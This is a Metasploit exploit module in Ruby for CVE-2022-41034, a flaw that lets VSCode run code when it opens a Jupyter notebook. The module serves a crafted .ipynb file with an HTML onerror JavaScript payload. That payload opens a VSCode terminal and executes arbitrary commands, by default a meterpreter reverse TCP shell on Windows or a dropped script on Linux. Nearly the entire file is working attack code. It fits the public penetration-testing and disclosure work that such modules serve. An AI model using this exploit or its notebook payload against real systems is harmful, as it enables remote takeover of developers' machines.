VSCode ipynb Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpServer  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VSCode ipynb Remote Development RCE',        'Description' => %q{          VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.          On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed          HTML and javascript, which can then open new terminal windows within VSCode.          Each of these new windows can then execute arbitrary code at startup.          During testing, the first open of the Jupyter notebook resulted in pop-ups          displaying errors of unable to find the payload exe file. The second attempt          at opening the Jupyter notebook would result in successful exeuction.          Successfully tested against VSCode 1.70.2 on Windows 10.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # metasploit module          'Zemnmez'        ],        'References' => [          ['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],          ['CVE', '2022-41034'],          ['URL', 'https://github.com/andyhsu024/CVE-2022-41034']        ],        'DisclosureDate' => '2022-11-22',        'Privileged' => false,        'Arch' => ARCH_CMD,        'Stance' => Stance::Aggressive,        'Payload' => { 'BadChars' => '&"' },        'Targets' => [          [            'Windows',            {              'Platform' => 'win',              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Linux File-Dropper',            {              'Platform' => 'linux',              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 3_600, # 1hr          'URIPATH' => 'project.ipynb'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          # on windows it will say the final payload can't be found          # however, it is, seems to be a timing issue, 2nd exploit attempt          # works perfectly          'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],          'SideEffects' => [SCREEN_EFFECTS]        }      )    )    register_options(      [        OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),        OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),      ]    )  end  def check    CheckCode::Unsupported  end  def exploit    unless datastore['URIPATH'].end_with? '.ipynb'      fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')    end    print_status('Starting up web service...')    start_service    sleep(datastore['WFSDELAY'])  end  def on_request_uri(cli, request)    super unless request.uri.end_with? datastore['URIPATH']    if target['Platform'] == 'win'      config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }    else      config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }    end    pload = JSON.dump({ 'config' => config })    pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works    ipynb = %|{"cells": [  {  "cell_type": "markdown",  "metadata": {},  "source": [    "<img src=a onerror=\\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()\\"/>"  ]  }]}|    send_response(cli, ipynb, {      'Connection' => 'close',      'Pragma' => 'no-cache',      'Access-Control-Allow-Origin' => '*'    })    print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")  endend